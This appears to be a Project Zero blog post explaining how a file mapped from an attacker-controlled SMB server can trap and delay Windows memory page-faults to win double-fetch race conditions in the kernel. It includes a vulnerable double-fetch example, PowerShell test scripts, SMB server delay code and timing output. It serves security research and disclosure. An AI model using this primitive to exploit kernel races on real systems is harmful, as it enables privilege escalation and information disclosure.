Posted by James Forshaw, Project Zero

This blog is a continuation of my series of Windows exploitation tricks. This one describes an exploitation trick I’ve been trying to develop for years, succeeding (mostly, more on that later) on the latest versions of Windows 10. It’s a trick to trap access to virtual memory, get feedback when it occurs and delay access indefinitely. The blog will go into some of the background for why this technique is useful, an overview of the research I did to find the trick as well as an overview of the types of vulnerabilities it can be used with.


When would you need such an exploitation trick? A good example of the types of security vulnerabilities which can benefit can be found in the seminal Bochspwn research by Mateusz Jurczyk and Gynvael Coldwind. The research showed a way of automating the discovery of memory double-fetches in the Windows kernel.

If you’ve not read the paper, a double-fetch is a type of Time-of-Check Time-of-Use (TOCTOU) vulnerability where code reads a value from memory, such as a buffer length, verifies that value is within bounds and then rereads the value from memory before use. By swapping the value in memory between the first and second fetches the verification is bypassed which can lead to security issues such as privilege escalation or information disclosure. The following is a simple example of a double fetch taken from the original paper.

DWORD* lpInputPtr = // controlled user-mode address

UCHAR  LocalBuffer[256];


if (*lpInputPtr > sizeof(LocalBuffer)) { ①



RtlCopyMemory(LocalBuffer, lpInputPtr, *lpInputPtr);②

This code copies a buffer from a controlled user mode address into a fixed sized stack buffer. The buffer starts with a DWORD size value which indicates the total size of the buffer. Memory corruption can occur if the size value pointed to by lpInputBuffer changes between the first read of the size value to compare against the buffer size ① and the second read of the size when copying into the buffer ②. For example, if the first time the value is read it’s 100 and the second it’s 400 then the code will pass the size check as 100 is less than 256 but will then copy 400 bytes into that buffer corrupting the stack.

Once a vulnerability such as this example was discovered Mateusz and Gynvael needed to exploit it. How they achieved exploitation is detailed in section 4 of the paper. The exploit techniques that were identified were all probabilistic. Exploitation typically required two threads racing each other, with one reading and one writing. The probabilistic nature of success is due to the probability that in between the first read from a memory location and the second read the writing thread sets a new value which exploits the vulnerability.

To widen the TOCTOU window many of the techniques described abuse the behavior of virtual memory on Windows. A process on Windows can typically access a large virtual memory region up to 8TiB size. This size is likely to be significantly larger than the physical memory in the system, especially considering the limit is per-process, not per-system. Therefore to maintain the illusion of such a large memory address space the kernel uses on-demand memory paging.

When memory is allocated in the process the CPU’s page tables are set up to indicate the presence of the memory region but are marked as invalid. At this point the virtual memory region has been allocated but there is no physical memory backing it. When the process tries to access that memory region the CPU will generate an exception, generally referred to as a page-fault, which is handled by the kernel.

The kernel can look up the memory address which was accessed to cause the page-fault and try and fix the address. How the page-fault is fixed depends on the type of memory access. A simple example is if the memory was allocated but not yet used the kernel will get a physical memory page, initialize it to zeros then adjust the page tables to map that new physical memory page at the faulting address. Once the page-fault has been fixed the faulting thread can be restarted at the instruction which accessed the memory and the memory access should now succeed as if it was always present.

A more complex scenario is if the page is part of a memory mapped file. In this case the kernel will need to request that the page’s data is read back from disk before it can satisfy the page-fault. This can take quite a long time, at least for spinning rust disks, so it might require the faulting thread to be suspended while it waits for the page to be read. Once the page has been read the memory can be fixed up, the original thread can be resumed and the thread restarted at the faulting instruction.

Overview diagram of page fault causing access to the file system. A user application is shown reading memory from a file mapped into memory. When the memory read occurs a page fault is generated in the kernel. As the memory is part of a file mapping this calls into the IO Manager which then requests the file data from the file system. The read data is then returned back through the kernel to satisfy the page fault and the user application can complete the memory read.

The end result is it can take a significant amount of time, relative to a CPU’s native speed that is, to handle a page-fault. However, abusing these virtual memory behaviors only widens the TOCTOU window, it didn’t allow for precise timing to swap values in memory. The result is the exploitation techniques still came with limitations. For example, it was very slow if not impossible in some cases to exploit on a machine with a single CPU core as it relies on having concurrent threads reading and writing.

An ideal exploit primitive would be one where the exploitation window can be made arbitrarily large so that it becomes trivial to win the race. Taking previous experience and knowledge of existing bug classes my ideal primitive would be one which meets a set of criteria:

  • Works on a default installation of Windows 10 20H2.
  • Gives a clear signal when memory is read or written.
  • Works when memory is accessed from both user and kernel mode.
  • Allows for delaying memory access indefinitely.
  • The data in the memory accessed is arbitrary.
  • The primitive can be set up from a range of privilege levels.
  • Can trap multiple times during the same exploit.

While meeting all these criteria would be ideal, there’s no guarantee we’ll meet all or any of them. If we only meet some then the range of exploitation vulnerabilities might be limited. Let’s start with a quick overview of the existing work which might give us an idea of how to proceed to find a primitive.

Existing Work

Having spoken to Mateusz and made an effort to look for any subsequent work there seems to be little novel work over and above the original Bochspwn paper on the exploitation of these types of TOCTOU issues. At least this is true for exploitation on Windows, however, novel techniques have been developed on other platforms, specifically Linux. Both of these techniques rely on the behavior of virtual memory I previously described.

The first technique in Linux makes use of Userfault File Descriptor (userfaultfd) to get notifications when page-faults occur in a process. With userfaultfd enabled a secondary thread in the process can read a notification and handle the page-fault in user mode. Handling the fault could be mapping memory at the appropriate location or changing page protection. The key is the faulting thread is suspended until the page-fault is handled by another thread. Therefore if a kernel function accessed the memory the request will be trapped until it's completed. This allows for a primitive where the memory access can be delayed indefinitely as well as having a timing signal for the access. Using userfaultfd also allows the fault to be distinguished between read and write faults as the memory page can be write-protected

Using userfaultdd works for in-process access such as from the kernel, but is not really useful if the code accessing the memory is in another process. To solve that problem you can use the FUSE file system as Jann Horn demonstrated in a previous Project Zero blog post. A FUSE file system is implemented entirely in user mode, but any requests for the file go through the Linux kernel’s Virtual File System APIs. As a file is accessed as if it was implemented by an in-kernel file system it’s possible to map that file into memory using mmap. When a page-fault occurs on a FUSE backed memory region a request will be made to the user-mode file system daemon which can delay the read or write request indefinitely.

Remote File Systems

As far as I can tell there’s nothing equivalent to Linux’s userfaultd on Windows. One feature which caught my eye was memory write watches. But those seem to just allow an application to query if memory had been written to since the last time it was checked and doesn’t allow memory writes to be trapped.

If we can’t just trap page-faults to virtual memory what about mapping a file on a user-mode filesystem like FUSE? Unfortunately there is no built-in FUSE driver in Windows 10 (yet?), but that doesn’t mean there’s no mechanism to implement a file system in user-mode. There are some efforts to make a real FUSE on Windows, such as the WinFsp project, but I’d expect the chances of them being installed on a real system to be vanishingly small.

The first thought I had was to try to exploit Multiple UNC Provider (MUP) clients. When you access a file via a UNC path, e.g. \\server\share\file.bin, this will be handled by a MUP driver in the kernel, which will pass it to one of the registered client drivers. As far as the kernel is concerned the opened file is a regular file (with some caveats) which generally means the file can be mapped into memory. However, any requests for the contents of that file will not be handled directly, but instead handled by a server over a network protocol.

Ideally we should be able to implement our own server, handle the read or write requests to a file mapping which will allow us to detect or delay the request so that we can exploit any TOCTOU. The following table contains only Microsoft MUP drivers that I identified. The table contains what versions of Windows 10 the driver is supported on and whether it’s something enabled by default.

Remote File System

Supported Version




Yes (SMBv1 might be disabled)



Yes (except Server SKUs)





Windows 10 1903

No (needs WSL)

Remote Desktop Client



While MUP was designed for remote file systems there’s no requirement that the file system server is actually remote. SMB, WebDAV and NFS are IP based protocols and can be redirected to localhost. P9 uses a local Unix Socket which can’t be remoted anyway. The terminal services client sends file access requests back to the client system over the RDP protocol. For all these protocols we can implement the server with varying degrees of effort and see if we can detect and delay reads and writes to the file mapping.

I decided to focus only on two, SMB and WebDAV. These were the only two which are enabled by default and are trivially usable. While the Remote Desktop Client is in theory installed by default the RDP server is not normally enabled by default. Also setting up the RDP session is complex and might require valid authentication credentials therefore I decided against it.

Server Message Block

SMB is almost as old as Windows itself, having been introduced in Lan Manager 1.0 back in 1987. The latest SMB version 3.1 protocol only bears a passing resemblance to that original version having shed its NetBIOS roots for a TCP/IP connection. Its lineage does mean it’s the best integrated of any of the network file systems, with the MUP APIs being designed around the needs of SMB.

I decided to do a simple test of the behavior of mapping a file over SMB. This is fairly easy as you can access SMB on the same machine via localhost. I first created a 1GiB file on a local disk, the rationale being if SMB supports caching file data it’s unlikely to read something that large in one go. I then started Wireshark and monitored the loopback interface to capture the SMB traffic as shown below.

Overview diagram of SMB test with wireshark in place to inspect the network traffic from the SMB client to the SMB server. The diagram starts overview with a user application reading memory of a mapped file which causes a page fault. As the file is on an SMB share this calls into the SMB client which sends a request to the SMB server and from there to the file system. In between the SMB client and SMB server components the Wireshark logo indicates where we are monitoring the network traffic.

I then wrote a quick PowerShell script which will map the file into memory and then reads a few bytes from memory at a few different offsets.

Use-NtObject($f = Get-NtFile "\\localhost\c$\root\file.bin" -Win32Path) {

    Use-NtObject($s = New-NtSection -File $f -Protection ReadWrite) {

        Use-NtObject($m = Add-NtSection -Section $s -Protection ReadWrite) {

            $m.ReadBytes(0, 4)

            $m.ReadBytes(256*1024*1024, 4)

            $m.ReadBytes(512*1024*1024, 4)

            $m.ReadBytes(768*1024*1024, 4)




This just reads 4 bytes from offset, 0, 256MiB, 512MiB and 768MiB. Going back to Wireshark I filtered the output to only SMBv2 read requests using the display filter smb2.cmd == 8, and the following four packets can be observed.

Read Request Len:32768 Off:0 File: root\file.bin

Read Request Len:32768 Off:268435456 File: root\file.bin

Read Request Len:32768 Off:536870912 File: root\file.bin

Read Request Len:32768 Off:805306368 File: root\file.bin 

This corresponds with the exact memory offsets we accessed in the script although the length is always 32KiB in size, not the 4 we requested. Note, that it’s not the typical Windows memory allocation granularity of 64KiB which you might expect. In my testing I’ve never seen anything other than 32KiB requested.

All the bytes we’ve tested are aligned to the 32KiB block, what if the bytes were not aligned, for example if we accessed 4 bytes from address 512MiB minus 2? Changing the script to add the following allows us to check the behavior:

$m.ReadBytes(512*1024*1024 - 2, 4)

In Wireshark we see the following read requests.

Read Request Len:32768 Off:536838144 File: root\file.bin

Read Request Len:32768 Off:536870912 File: root\file.bin

The accesses are still at 32KiB boundaries, however as the request straddles two blocks the kernel has fetched the preceding 32KiB of data from the file and then the following 32KiB. You might think that all makes sense, however this behavior turned out to be a fluke of testing.

</span><span class=Overview diagram of memory read layout. In the middle is a set of boxes representing the native 4KiB pages being read. All the boxes are contained within a single larger region which is the large page size. Above the boxes are arrows which show that from the base of the 4KiB box a 32KiB read will be made into the file which can satisfy the reads from other 4KiB pages. The final box shows that the last 32KiB of the large page size will always be read as a single page regardless of where in the box the read occurs." style="max-height: 750; max-width: 600;" />

The diagram above shows the structure of how mapped file reads are handled. When an address is read the kernel will request 32KiB from the closest 4KiB page boundary, not the 32KiB boundary. However, there’s then a secondary structure on top based on the supported size of large pages. If the read is anywhere within 32KiB of the end of a large page the read offset is always for the last 32KiB.

For example, on my system the large page size (as queried using the GetLargePageMinimum API) is 2MiB. Therefore if you start at offset 512MiB, between 512 and 514 - 32KiB the kernel will read 32KiB from the offset truncated to the closest 4KiB boundary. Between 514 - 32KiB and 514MiB the read will always request offset 514 - 32KiB so that the 32KiB doesn’t cross the large page boundary.

This allows reads at 4KiB boundaries, however the amount of data read is still 32KiB. This means that once one 4KiB page is accessed the kernel will populate the current page and 7 following pages. Is there any way to only populate a single native page? Based on a comment from Mateusz I tested returning short reads. If the SMB server returns fewer bytes than requested from the read then rather than failing it only populates the pages covered by the read. By returning these short reads we can get trap granularity down to the native page size except for the final 32KiB of a large page. If a read request is shorter than the native page size the rest of the page is zeroed.

What about writing? Let’s change the script again to call WriteBytes rather than ReadBytes, for example:

$m.WriteBytes(256*1024*1024, @(0xAA, 0xBB, 0xCC, 0xDD))

You will see a write request to the file in Wireshark, similar to the following:

Write Request Len:4096 Off:268435456 File: root\file.bin

However, if you dig a bit deeper you’ll notice that the write only happens once the file is closed, not in response to the WriteBytes call. This makes sense, there isn’t any easy way to detect when the write happened to force the page to be flushed back to the file system. Even if there was a way flushing to a network server for every write would have a massive performance impact.

All is not lost however, before the memory is safe to write it must be populated with the contents from the file. Therefore if you look before the write you’ll see a corresponding read request for the 32KiB region which encompasses the write location which is synchronous with the read. You can detect a write through its corresponding read but you can’t distinguish read from a write at the protocol level.

All this testing indicates if we have control over the server we can detect memory access to the mapped file. Can we delay the access as well? I wrote a simple SMB server in .NET 5 using the SMBLibrary by Tal Aloni. I implemented the server with a custom filesystem handler and added some code to the read path which delays for 10 seconds when the file offset is greater than 512MiB.

if (Position >= (512 * 1024 * 1024)) {

    Console.WriteLine("====> Delaying at Position {0:X}", Position);


    Console.WriteLine("====> Continuing.");


The data returned by the read operation can be arbitrary, you just need to fill in the appropriate byte buffers in the read. To test the access times I wrapped the memory read requests inside a Measure-Command call to time the memory access.

Measure-Command { $m.ReadBytes(512*1024*1024 - 4, 4) }

Measure-Command { $m.ReadBytes(512*1024*1024 - 4, 4) }

Measure-Command { $m.ReadBytes(512*1024*1024, 4) }

Measure-Command { $m.ReadBytes(512*1024*1024, 4) }

To compare the access time a read request is made to a location 4 bytes below the 512MiB boundary and then at the 512MiB boundary. By making two requests we should be able to see if the results differ per-read. The results were as follows:

# Below 512MiB (Request 1)

Days              : 0

Hours             : 0

Minutes           : 0

Seconds           : 1

Milliseconds      : 25


# Below 512MiB (Request 2)

Days              : 0

Hours             : 0

Minutes           : 0

Seconds           : 0

Milliseconds      : 1


# Above 512MiB (Request 1)

Days              : 0

Hours             : 0

Minutes           : 0

Seconds           : 10

Milliseconds      : 358


# Above 512MiB (Request 2)

Days              : 0

Hours             : 0

Minutes           : 0

Seconds           : 0

Milliseconds      : 1


The first access for below 512MiB takes around a second, this is because the request still needs to be made to the server and the server is written in .NET which can have a slow startup time for running new code. The second request takes significantly less that 1 second, the memory is now cached locally and so there doesn’t need to be any request.

For the accesses above 512MiB the first request takes around 10 seconds, which correlates with the added delay. The second request takes less than a second because the page is now cached locally. This is exactly what we’d expect, and proves that we can at least delay for 10 seconds. In fact you can delay the request at least 60 seconds before the connection is forcibly reset. This is based on the session timeout for the SMB client. You can query the SMB client timeout using the following command in PowerShell:

PS> (Get-SmbClientConfiguration).SessionTimeout


A few things to note about the SMB client’s behavior which came out of testing. First the client or the Windows cache manager seem to be able to do some caching of the remote file. If you request a specific access when opening the file, such as GENERIC_READ | GENERIC_WRITE for the desired access then caching is enabled. This means the read requests do not go to the server if they’re previously been cached locally. However if you specify MAXIMUM_ALLOWED for the desired access the caching doesn’t seem to take place. Secondly, sometimes parts of the file will be pre-cached, such as the first and last 32KiB of the file. I’ve not worked out what is the cause, oddly it seems to happen more often with native code than .NET code, so perhaps it’s Windows Defender peeking at memory or perhaps Superfetch. In general as long as you keep your memory accesses somewhere in the middle of a large file you should be safe.

If you’ve run the example code you might notice a problem, running the example server locally fails with the following error:

System.Net.Sockets.SocketException (10013): An attempt was made to access a socket in a way forbidden by its access permissions.

By default Windows 10 has the SMB server enabled. This takes over the TCP ports and makes them exclusive so it’s not possible to bind to them from a normal user. It is possible to disable the local SMB server, but that would require administrator privileges. Still, it was worth verifying whether the SMB server approach will work even if we have to communicate with a remote server.

I did do some investigation into tricks I could use to get the built-in SMB server to work for our purposes. For example I tried to use the fact that you can set an Opportunistic Lock which will trap file reads. I used this trick to exploit a TOCTOU vulnerability in the LUAFV driver. Unfortunately the SMB server detects the file is already in a lock and waits for the OpLock break to occur before allowing access to the file. This made it a non-starter.

For testing you can disable the LanmanServer service and its corresponding drivers. If you wanted to use this on an arbitrary system you'd almost certainly need to connect to a remote server. I’ve released the example server code here, which can be repurposed, although it is only a demonstrator. It allows for read granularity of the native page size, which is assumed to be 4KiB. The server code should work on Linux but as of version 1.4.3 of SMBLibrary on NuGet there’s a bug which causes the server to fail when starting. There is a fix in the github repository but at the time of writing there’s no updated package.

How well does abusing the SMB client meet with our criteria from earlier? I’ve crossed out all the ones we’ve met.

  • Works on a default installation of Windows 10 20H2.
  • Gives a clear signal when memory is read or written.
  • Works when memory is accessed from both user and kernel mode.
  • Allows for delaying memory access indefinitely.
  • The data in the memory accessed is arbitrary.
  • The primitive can be set up from a range of privilege levels.
  • Can trap multiple times during the same exploit.